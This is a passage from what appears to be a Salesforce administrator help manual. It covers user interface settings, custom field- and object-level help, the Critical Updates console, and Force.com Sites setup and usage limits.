are searching mostly in Japanese, Chinese, or Korean, and if the text in searchable fields is mostly in those languages.
Do not check this option if you expect content and searches to be mostly in other languages.

1600

Customize

Customizing User Interface Settings

Use Recently Viewed User Records for Blank and Auto-Complete Lookups
If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is
taken from the user's recently viewed user records. This setting applies only to user object lookups and not to lookups
for other objects.
If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization.
Enable English-Only Spell Correction for Knowledge Search (Beta)
If this setting is enabled, search suggests and searches alternate spellings for English search terms on the Articles and
Article Management tabs, in the articles tool in Case Feed, and in the Salesforce Knowledge sidebar in the Service Cloud
console. This setting applies to article searches via the API but not to article searches in global search.
Enable Sidebar Search Auto-Complete
If this setting is enabled, when users start typing search terms, sidebar search displays a matching list of recently viewed
records.
Note: Global search includes auto-complete and doesn't require a search setting.

Enable Single-Search-Result Shortcut


If this setting is enabled, users skip the search results page and go directly to the record's detail page when their search
returns only a single item.
This setting doesn't apply to tags, case comments (in advanced search), and global search. If the search result is a single
tag, case comment, or item in global search, the search results page still appears.
Number of Search Results Displayed Per Object
The Number of Search Results Displayed Per Object area allows you to configure the number of items that are returned
for each object in the Search Results page. The current setting is in parentheses next to each object. To make changes,
select one or more objects, enter the new number of results per page, and click Save. The new value must be between 5
and 50.
Lookup Settings
The Lookup Settings area allows you to enable enhanced lookups and lookup auto-completion for account, contact,
user, and any custom object lookups.

Customizing User Interface Settings


The available user interface settings vary according to which Salesforce Edition you have.

User Permissions Needed


To modify user interface settings:

Customize Application

To change your organization's user interface settings:


1. Click Your Name > Setup > Customize > User Interface.
2. Select or deselect each checkbox to modify the user interface settings for your organization.

1601

Customize

Customizing User Interface Settings

3. Click Save.

User Interface Settings


Enable Collapsible Sections
Collapsible sections give users the option to collapse or expand sections on their record detail pages using the arrow icon
next to the section heading. When enabling collapsible sections, make sure your section headings are displayed for each
page layout. Sections remain expanded or collapsed until the user changes his or her settings for that tab. If your
organization has enabled record types, Salesforce remembers a different setting for each record type.
Note: Call center users won't see incoming calls if they collapse the sidebar.

Show Quick Create


The Quick Create area on a tab home page allows users to create a new record quickly with minimal information. It
displays, by default, on the tab home pages for leads, accounts, contacts, forecasts, and opportunities. You can control
whether the Quick Create area is displayed on all relevant tab home pages.
Note: The Show Quick Create setting also affects whether or not users can create new records from within
the lookup dialog. For example, with the setting enabled, users can create a new account within the account
lookup dialog while creating or editing a contact. Creating new records in the lookup dialog is available only if
Quick Create is available for your chosen record type. In addition, users always need the appropriate Create
permission to use Quick Create even though it will be displayed for all users.
Enable Hover Details
Hover details display an interactive overlay containing detailed information about a record when users hover the mouse
over a link to that record in the Recent Items list on the sidebar or in a lookup field on a record detail page. Users can
quickly view information about a record before clicking View for the record's detail page or Edit for the edit page. The
fields displayed in the hover details are determined by the record's mini page layout. The fields that display in document
hover details are not customizable. This option is enabled by default.
Note: To view the hover details for a record, users must have the appropriate sharing access to that record, as
well as the necessary field-level security for the fields in the mini page layout.

Enable Related List Hover Links


Related list hover links display at the top of record detail pages and custom object detail pages in Setup. Users can hover
the mouse over a related list hover link to display the corresponding related list and its number of records in an interactive
overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link
to jump down to the content of the related list without having to scroll down the page. The Enable Related List
Hover Links checkbox is the default selection.
Enable Separate Loading of Related Lists
Select this option to enable the separate loading of record detail pages: primary record details load first, followed by
related list data. When you enable this option, users see primary record details immediately; as related list data loads,
users see a progress indicator. Separate loading can improve performance on record detail pages for organizations with
large numbers of related lists. This option is disabled by default. Note that this option does not apply to Visualforce
pages, user pages, the self-service portal, or other pages for which you cannot control the layout.

1602

Customize

Customizing User Interface Settings

Enable Inline Editing


Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access
the record's edit page first. This option is enabled by default and applies to all users in your organization.
Note: This doesn't enable inline editing for profiles. Select Enable Enhanced Profile List Views under
Setup.

Enable Enhanced Lists


Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity.
When enabled with the Enable Inline Editing setting, users can also edit records directly from the list, without
navigating away from the page. This option is enabled by default.
Note: This doesn't enable enhanced lists for profiles. Select Enable Enhanced Profile List Views
under Setup.

Enable New User Interface Theme


Note: Starting with Summer '10, new organizations have the new user interface theme enabled by default.

The new user interface theme updates the look and feel of Salesforce and moves user links, such as Setup and Logout,
under the user name for all users in your organization. The new user interface theme is not supported in Portals, Console
tab, or Help & Training.
Only users with supported browsers see the new user interface theme.
Enable Tab Bar Organizer
The Tab Bar Organizer automatically arranges tabs in the main tab bar to prevent horizontal scrolling of the page. It
dynamically determines how many tabs can display based on the width of the browser window and puts tabs that extend
beyond the browser's viewable area into a drop-down list.
Note: Note the following limitations:

The Tab Bar Organizer isnt available with the partner portal or Customer Portal.
The Tab Bar Organizer is only available with the new user interface theme. Organizations using the old user
interface theme can enable the feature, but it won't be available for users until the new theme is also enabled.
The Tab Bar Organizer isnt available on Internet Explorer 6. See Supported Browsers.

Enable Printable List Views


Printable list views allow users to easily print list views. If enabled, users can click the Printable View link from any list
view to open a new browser window, displaying the current list view in a simple, print-ready format. The link is located
next to the Help for this Page link in the colored title bar of the page.
Enable Spell Checker
Available in all Editions. If this option is selected, the Check Spelling button appears in certain areas of the application
where text is entered, such as sending an email, or when creating events, tasks, cases, notes, and solutions. Clicking the
button checks the spelling of your text. Spell Checker does not support all the languages that Salesforce supports. For
example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese.

1603

Customize

Customizing User Interface Settings

Enable Spell Checker on Tasks and Events


Available in all Editions. Select this checkbox to enable the Check Spelling button when users create or edit tasks or
events. The spell checker analyzes the Description field on events and the Comments field on tasks.

Sidebar Settings
Enable Collapsible Sidebar
The collapsible sidebar gives users the ability to show or hide the sidebar on every page that normally includes the sidebar.
When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes available to all users
in your organization, but each user can choose his or her own preference for displaying the sidebar. Users can leave the
sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking the edge of the
collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page 60.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times
so you always have access to the Divisions drop-down list.

Show Custom Sidebar Components on All Pages


If you have custom home page layouts that include components in the sidebar, this option makes the sidebar components
available on all pages for all users in your organization. If you only want certain users to view sidebar components on all
pages, grant those user the Show Custom Sidebar On All Pages permission.
Note: If the Show Custom Sidebar Components on All Pages user interface setting is selected, the
Show Customer Sidebar On All Pages permission is not available.

Calendar Settings
Enable Home Page Hover Links for Events
Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover
the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by
default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Note: If you create all day events, we recommend adding the All Day Event field to the events mini page
layout.

Enable Drag-and-Drop Editing on Calendar Views


Select this checkbox to enable the dragging of events on single user daily and weekly calendar views. This allows users
to reschedule events without leaving the page. This option is enabled by default. Note the following:

Calendar views might load less quickly when this checkbox is enabled.
Drag-and-drop editing is not available for calendar views in the Console tab.
Drag-and-drop editing is not available for multiday events.

Enable Click-and-Create Events on Calendar Views


Select this checkbox to enable users to create events on day and weekly calendar views by double-clicking a specific time
slot and entering the details of the event in an interactive overlay. The fields available in the event detail and edit overlays
are defined in a mini page layout.

1604

Customize

Customizing User Interface Settings

Note that recurring events and multi-person events are not supported for click-and-create events on calendar views.
Enable Drag-and-Drop Scheduling on List Views
Select this checkbox to enable users to create events associated with records by dragging records from list views on to
weekly calendar views and entering the details of the event in an interactive overlay. This option is disabled by default.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Enable Hover Links for My Tasks List
Select this checkbox to enable hover links for tasks in the My Tasks section of the Home tab and on the calendar day
view. This option is enabled by default. Users can hover the mouse over the subject of a task to see the details of that
task in an interactive overlay.
The information presented on these overlays is configured by your administrator.

Setup Settings
Enable Enhanced Page Layout Editor
Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced
page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that
contains all of the functionality of the original page layout editor as well as several improvements.
Enable Enhanced Profile List Views
Select this checkbox to activate enhanced list views and inline editing on the profiles list page. With inline editing in
enhanced profile list views, you can manage multiple profiles at once.
Enable Enhanced Profile User Interface
Select this checkbox to activate the enhanced profile user interface, which allows you to easily navigate, search, and
modify settings for a single profile.
Enable Streaming API
Select this checkbox to activate Streaming API, which allows you to receive notifications for changes to data that match
a SOQL query that you define, in a secure and scalable way. This field is selected by default. If you dont see this checkbox,
first verify that your Salesforce edition has API access. For more information, see Force.com API Usage Limits on page
2161 and Salesforce Editions and Limits on page 2076. If your Salesforce edition has API access and you dont see the
checkbox, contact salesforce.com.

Advanced Settings
Activate Extended Mail Merge
Select this checkbox to activate Extended Mail Merge for your organization. When selected, the Mass Mail Merge link
is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail merges requested
from the Activity History related list on a record are performed using Extended Mail Merge functionality. For more
information on using Salesforce to generate personalized form letters and other documents based on templates, see Mail
Merge Overview on page 2810.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in
this feature.
Always save Extended Mail Merge documents to the Documents tab
When this checkbox is selected, all mail merge documents generated using Extended Mail Merge are added to the user's
personal documents folder on the Documents tab, rather than delivered as email attachments. Users are sent confirmation

1605

Custom Help

Custom Help Overview

emails when their mail merge requests have completed. Those emails include links for retrieving generated documents
from the Documents tab. Note that these documents count against your organization's storage limits.

See Also:
Creating Records Using the Create New Drop-Down List

CUSTOM HELP
Custom Help Overview
Available in: All Editions except Database.com

The Help & Training link at the top of every page opens the Salesforce Help & Training window which includes online help
topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a
context-sensitive online help topic that describes that page.
Salesforce custom help functionality allows you to augment these standard help features with information on using fields and
functionality unique to your organization or the Force.com AppExchange app you are developing.
Custom help allows you to:

Override the standard Salesforce context-sensitive online help topics for your custom objects using object-level help
Add field-level help that displays when users hover their mouse over a field

See Also:
Defining Field-Level Help
Getting Started with Field-Level Help
Defining Object-Level Help
Getting Started with Object-Level Help
Creating Custom Fields

1606

Field-Level Help

Getting Started with Field-Level Help

FIELD-LEVEL HELP
Getting Started with Field-Level Help
Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
Before you begin defining field-level help, review these implementation tips and best practices.
Implementation Tips

Field-level help is enabled by default for all editions.


Field-level help is not available for some standard fields, including fields on the User object, system read only fields,
auto-number fields, multi-currency fields, Salesforce CRM Ideas fields, and Community fields.
The help text for a field is automatically added to a package when you add the associated field to any Force.com AppExchange
package.
In a managed package, the help text is locked to the developer, giving installers full capabilities to change it.

Best Practices

Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct
help text that defines the field's purpose, such as:
The maximum discount allowed for this account.

Provide information in your help text about the attributes of the field, such as:
A detailed description of the purpose for the expense report. Up to 32 KB of data
are allowed. Only the first 255 characters display in reports.

Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer,
for example, 4PLT (for level-four platinum pricing).

If your organization uses more than one language, provide translations for your Help Text using the Translation
Workbench.

See Also:
Custom Help Overview
Defining Field-Level Help
Creating Custom Fields

1607

Object-Level Help

Defining Field-Level Help

Defining Field-Level Help


Available in: All Editions except Database.com

User Permissions Needed


To define or change field-level help:

Customize Application

Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
To define field-level help:
1. Select the field for which you want to define custom help text:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click Edit next to the field.


3. In the Help Text field, enter the text you want displayed when a user hovers the mouse over the Info icon that appears
adjacent to the field on a detail or edit page. You can enter up to 255 characters.
4. Click Save.

See Also:
Custom Help Overview
Getting Started with Field-Level Help
Creating Custom Fields

OBJECT-LEVEL HELP
Getting Started with Object-Level Help
Object-level help gives you the power to override the Salesforce Help for this Page links for any custom object with your
custom help content contained in a Visualforce page or an s-control. The Help & Training link at the top of any page always
opens the Salesforce Help & Training window, yet every Help for this Page link on your custom object pages opens the
content in the s-control you select. Your users can access this content from the custom object home (overview), detail, and
edit pages as well as any list views and related lists.
Before you begin defining object-level help text for your custom objects, review these implementation tips and best practices.

1608

Customize

Defining Object-Level Help

Implementation Tips

Object-level help is available for all custom objects in the Salesforce editions that support custom objects.
For maximum functionality and ease of development, use Visualforce pages rather than s-controls.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.

When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom
controller. You cannot use a standard controller or a standard list controller.
When creating an s-control to use for your object-level help, select HTML or URL:
For an HTML s-control, write your help content directly into the s-control body using HTML markup.
For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.

If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce
automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help
Settings for that object.
In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.

Best Practices

The window that displays your object-level help has the same height and width dimensions as the standard Salesforce
Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help
content.
To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for
Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.
Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other
functions to make the experience more personalized. For example, you can design the custom help to address the user
directly by adding the user's name to the help page when it is displayed.

See Also:
Custom Help Overview
Defining Object-Level Help

Defining Object-Level Help


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define or change object-level help:

Customize Application

Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained
in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or

1609

Customize

Defining Object-Level Help

an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control.
Object-level help becomes available to all your users instantly.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
To define object-level help for custom objects:
1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content.

For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard
controllers and standard list controllers cannot be used with pages that display object-level help.
For an HTML s-control, write your help content directly into the s-control body using HTML markup.
For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.

2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these
custom object records.
3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from
the Context-Sensitive Help Setting.
4. Select the Visualforce page or s-control that contains your help content.
5. Click Save.
Tip:
You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static
resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a
user to a PDF:
1. Upload the PDF as a static resource named customhelp.
2. Create the following page:
<apex:page sidebar="false" showHeader="false" standardStylesheets="false"
action="{!URLFOR($Resource.customhelp)}">
</apex:page>

Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect
properly.
Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide
for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.

See Also:
Custom Help Overview
Getting Started with Object-Level Help

1610

Customize

Replacing Salesforce Online Help

Replacing Salesforce Online Help


Organizations that have renamed standard tabs, objects, fields, and other related user interface labels can also replace the
Salesforce online help with another URL. Users can view this URL whenever they click on any context-sensitive help link on
an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of every page
and all Administration Setup pages will continue to display Salesforce online help.
1. Click Your Name > Setup > Customize > Tab Names and Labels > Help Settings.
2. Enter the complete URL for your help file that you would like to replace the Salesforce online help.
3. Click Save.

Notes about Replacing Online Help

When you replace the Salesforce online help with your own help file, the Help & Training link still displays Salesforce
online help but the Help for this Page links on all pages other than within Administration Setup are no longer
context-sensitive. That is, your help file will open at the same place regardless of which page the user is viewing when they
click the link.
You can make your help context-sensitive by taking advantage of the context-specific parameters that are passed with each
help link. For example, the help link from the Opportunities tab home page is constructed as follows (without any linebreaks):
http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&target=opp_overview.htm&section=Opportunities

The values of the target and section parameters are unique for every page within the application. You can parse these
parameters to display context-sensitive help content for your users.

If your online help file is compatible with the Web browser on your users' mobile devices, you can contact salesforce.com
to enable a custom URL for the online help in Salesforce Mobile. If you enable a mobile help URL, the Help link in the
mobile application launches the custom help URL instead of the Salesforce Mobile online help. Don't deploy customized
mobile help without testing it thoroughly on all the device models carried by your users. Even if all of your users have the
same type of mobile device, the experience can vary widely depending on which operating system version is installed on
the device.

1611

Critical Updates Console

Critical Updates Overview

CRITICAL UPDATES CONSOLE


Critical Updates Overview
Available in: All Editions

User Permissions Needed


To view critical updates:

View Setup

To activate critical updates:

Modify All Data and Customize Application

Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce, but may affect
your existing customizations. When these updates become available, Salesforce lists them at Your Name > Setup > Critical
Updates, sends a notification email to administrators, and displays a message when administrators click Your Name > Setup.
To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the
update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as
necessary. The opt-in period ends on the auto-activation date, at which time Salesforce permanently activates the update.
Caution: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your
production environment during off-peak hours.
To manage critical updates, click Your Name > Setup > Critical Updates. From this page, you can:

View the summary, status, and auto-activation date for any update that Salesforce has not permanently activated.
Click Review to view the detail page of any update that Salesforce has not permanently activated. The details include a
list of the customizations in your organization that the update might affect and the activation history, which lists each time
the update was activated and deactivated.
Click Activate to activate any inactive update.
Click Deactivate to deactivate any active update that Salesforce has not permanently activated.

Notes on Critical Updates

Salesforce analyzes your organization to determine if a critical update potentially affects your customizations. If your
customizations are not affected, Salesforce automatically activates the update in your organization, and the update does
not appear when you click Your Name > Setup > Critical Updates.
On the scheduled auto-activation date, Salesforce permanently activates the update. After auto-activation, you cannot
deactivate the update.
Each update detail page has its own online help topic that contains important information and examples to help you
understand how your customizations might be affected and how you can correct any unintended functionality.
Salesforce displays a message the first time you access the setup menu after a critical update becomes available. The message
lets you choose to have Salesforce display the updates immediately or remind you about the updates later. You can also

1612

Critical Updates Console

Winter '10 Critical Updates

choose to have Salesforce neither display the updates nor remind you. If you choose this option, Salesforce will not display
the message again until another new update is available.

See Also:
Winter '10 Critical Updates

Winter '10 Critical Updates


Available in: All Editions except Database.com

User Permissions Needed


To view critical updates:

View Setup

To activate critical updates:

Modify All Data and Customize Application

Winter '10 features one critical update:

New Campaign Member Creation BehaviorEnables Salesforce to evaluate triggers, validation rules, and workflow rules
when you create campaign members using:

the Lead Import Wizard


the Campaign Update Wizard
Web-to-Lead
the Campaign field when creating or cloning a lead

For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?

See Also:
Critical Updates Overview

1613

Critical Updates Console

Winter '10 Critical Updates

What is the Winter '10 New Campaign Member Creation Behavior Update?
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Winter '10 New Campaign Member Creation
Behavior update:

View Setup

To activate the Winter '10 New Campaign Member Creation Customize Application
Behavior update:
AND
Modify All Data

The Winter '10 New Campaign Member Creation Behavior update enables Salesforce to evaluate triggers, validation rules,
and workflow rules when you create campaign members using:

the Lead Import Wizard


the Campaign Update Wizard
Web-to-Lead
the Campaign field when creating or cloning a lead

Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom
fields. For example, you can now map Attended? and # Questions Asked fields in an import file to campaign member
custom fields called Attended? and # Questions Asked.
When you activate this update, you have the option to run workflow and map campaign member custom fields when you
create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and
default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead
or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you
can now define the Campaign Member Status on a per-row basis.
If you deactivate this update, Salesforce does not evaluate the triggers, validation rules, and workflow rules for campaign
members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when
creating or cloning a lead, and you can't map import fields to campaign member custom fields.
Important: This critical update changes the behavior of campaign members created using the campaign member
wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features
may behave differently when you activate this update, for example:

Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work
because campaign members are created after leads.
If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign
members will not be inserted.
Apex triggers that result in leads being converted before being added to a campaign, for example, an after
insert trigger, result in a campaign member with only contact fields populated. These records are not included
in the campaign's converted lead count.

1614

Critical Updates Console

Winter '10 Critical Updates

If your organization has any of these customizations, read the examples to understand how you might be affected and
how you can correct unintended functionality.
Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules
regardless of how they are created. and the quality of your data is improved.
Important: Activation of this update impacts campaign member records in the user interface, API, and desktop
clients, such as Connect for Outlook.
The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up
after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it.
If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the
auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by
activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update
an unlimited number of times.

Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update:
1. Click Your Name > Setup > Critical Updates.
2. Click Review next to the New Campaign Member Creation Behavior update.
The Critical Update detail page displays feature customizations that may be affected by activating the update.
3. Determine if activating the update will cause unintended functionality, and if so, modify your customizations.
4. Click Activate.
5. Optionally, enter comments and click Activate. Comments appear in the activation history.

Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update:
1.
2.
3.
4.

Click Your Name > Setup > Critical Updates.


Click Review next to the New Campaign Member Creation Behavior update.
Click Deactivate.
Optionally, enter comments and click Deactivate. Comments appear in the activation history.

New Campaign Member Creation Behavior Examples


Workflow Rule Example
Let's say you use the Lead Import Wizard to add members to a campaign named Newsletter. You have a workflow
rule that emails a newsletter to members added to this campaign.

Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is
evaluated for imported members and the newsletters are sent.
Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import
Wizard and the newsletters aren't sent.

1615

Force.com Sites

Force.com Sites Overview

Apex Trigger Example


Assume there's an Apex trigger on campaign members that updates the Number Attended campaign custom field
when members with the Attended status are added to the Webinar campaign. You want to use the Campaign Update
Wizard to update the status for members of this campaign.

Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and
the Number Attended campaign custom field is updated.
Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and
the Number Attended campaign custom field isn't updated.

Validation Rule Example


Imagine there's a campaign member validation rule that requires users to select a custom field called RSVP-Yes if the
members status is RSVP-Yes.

Update activated: Campaign members imported with the status RSVP-Yes must also have the RSVP-Yes field
in the import file set to TRUE, or they aren't created.
Update deactivated: You can import campaign members with the status RSVP-Yes, regardless of the RSVP-Yes
custom field value.

Campaign Member Custom Field Example


You want to map import fields called Attended? and # Questions Asked to campaign member custom fields of the
same names.

Update activated: You can map these import fields during import to campaign member custom fields called Attended?
and # Questions Asked.
Update deactivated: You cannot map these import fields to campaign member custom fields.

FORCE.COM SITES
Force.com Sites Overview
Available in: Developer, Enterprise, and Unlimited Editions

Salesforce organizations contain valuable information about partners, solutions, products, users, ideas, and other business data.
Some of this information would be useful to people outside your organization, but only users with the right access and
permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server,
create custom Web pages (JSP, PHP, or other), and perform API integration between your site and your organization.
Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation.
With Force.com sites, you no longer have to do any of those things. Force.com Sites enables you to create public websites and
applications that are directly integrated with your Salesforce organizationwithout requiring users to log in with a username
and password. You can publicly expose any information stored in your organization through a branded URL of your choice.
You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on Force.com

1616

Force.com Sites

Force.com Sites Overview

servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation on collected
information is performed automatically. You can also enable users to register for or log in to an associated portal seamlessly
from your public site.
Note: Force.com Sites is subject to these additional Terms of Use.
For information on Site.com, which is a Web content management system (CMS) that makes it easy to build dynamic,
data-driven Web pages and edit content in real time, see Site.com Overview on page 2258.
The following examples illustrate a few ways that you can use sites:

Create an ideas siteUse sites to host a public community forum for sharing and voting on ideas about your company,
services, or products. Ideas websites can be made public using sites.
Publish a support FAQProvide helpful information on a public website where customers can search for solutions to
their issues.
Create a store locator toolAdd a public tool to your portal that helps customers find stores in their area.
Publish an employee directoryAdd an employee directory to your company's intranet by creating a site restricted by IP
range.
Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes online.
Publish a catalog of productsList all of your company's products on a public website, with model numbers, current prices,
and product images pulled dynamically from your organization.

Because Force.com sites are served directly from the Salesforce organization, a site's availability is directly related to the
organization's availability. During your organization's maintenance window for major releases, your sites will be unavailable;
users who try to access a site will see a Force.com-branded maintenance page or your custom Service Not Available Page. It's
a good idea to inform your site users of the release maintenance windows and related sites unavailability in advance. You can
view specific maintenance windows, listed by instance, at trust.salesforce.com/trust/status/#maint.

The Force.com Domain


For each of your sites, you determine the URL of the site by establishing the site's domain name. You can choose one of the
following domain options:

Use your Force.com domain name, which is your unique subdomain prefix plus force.com. For example, if you choose
mycompany as your subdomain prefix, your domain name would be http://www.mycompany.force.com. The name
is case-sensitive.
Note: Your Force.com domain name is used for all the sites that you create. For example, your company could
create one public site for partners, another for developers, and a third for support. If your company's domain is
http://www.mycompany.force.com, those three sites might have the following URLs:
http://mycompany.force.com/partners
http://mycompany.force.com/developers
http://mycompany.force.com/support

Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain
name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain
without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become
available on the Internet. Custom Web addresses aren't supported for sandbox or Developer Edition organizations.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance
name is na1, and the sandbox instance name is cs1:

1617

Force.com Sites

Force.com Sites Considerations

Organization Type

Secure URL

Developer Edition

https://mycompany-developer-edition.na1.force.com

Sandbox

https://mycompany.mysandbox.cs1.force.com

Production

https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.

See Also:
Force.com Sites Considerations
Setting Up Force.com Sites
Managing Force.com Sites
Registering a Custom Force.com Domain
Creating and Editing Force.com Sites
Configuring Force.com Sites
Force.com Sites Limits and Billing
Reporting on Force.com Sites
Tracking Your Force.com Site with Google Analytics
About Syndication Feeds
Ideas Overview
Administrator setup guide: Force.com Sites Implementation Guide

Force.com Sites Considerations


Available in: Developer, Enterprise, and Unlimited Editions

Before creating and using Force.com sites, consider the following:


Packaging
The following apply to packaging for sites:

Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components
for a site using a managed package.
You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or
Apex classes that refer to a site.

Access and Authentication


You can grant Read and Create permissions on all standard objects except products, price books, and ideas; and
Read, Create, Edit, and Delete on all custom objects. For additional access, you must authenticate site visitors
as portal users.
Custom authentication is not supported. You can authenticate via the following:

1618

Force.com Sites

Force.com Sites Limits and Billing

Customer Portalsenable public login and registration


Partner portalscreate partner users
Tip: You can also enable single sign-on for portals, as well as Sites.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Caching Force.com Sites Pages
Force.com Sites Limits and Billing
Viewing 24-Hour Force.com Sites Usage History
Setting Up Your Customer Portal

Force.com Sites Limits and Billing


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your
sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid
exceeding these limits.
This topic contains the following sections:

Limits and Billing Terminology


Sites Limits and Restrictions
Billing and Monthly Page Views Enforcement
What Counts as a Page View?

Limits and Billing Terminology


This section defines the terminology used for Force.com sites limits and billing:

Page Views are calculated as the total number of pages served from either the site's origin server or the cache server.
Bandwidth is calculated as the number of megabytes served and received from both the site's origin server and the cache
server.
Service request time is calculated as the total server time in minutes required to generate pages for the site.
Rolling 24-hour period refers to the 24 hours immediately preceding the current time.
Origin server refers to the Web server that hosts your site.
Cache server refers to the CDN server that serves your cached site pages.
Current period refers to the current calendar month for which you are entitled a certain number of page views for your
organization.

1619

Force.com Sites

Force.com Sites Limits and Billing

Sites Limits and Restrictions


The following table lists the site limits for each edition:
Edition

Maximum Number Bandwidth Limit (per rolling Service Request Time (per
of Sites
24-hour period per site)
rolling 24-hour period per
site)

Maximum Page
Views

Developer Edition 1

500 MB

10 minutes

N/A

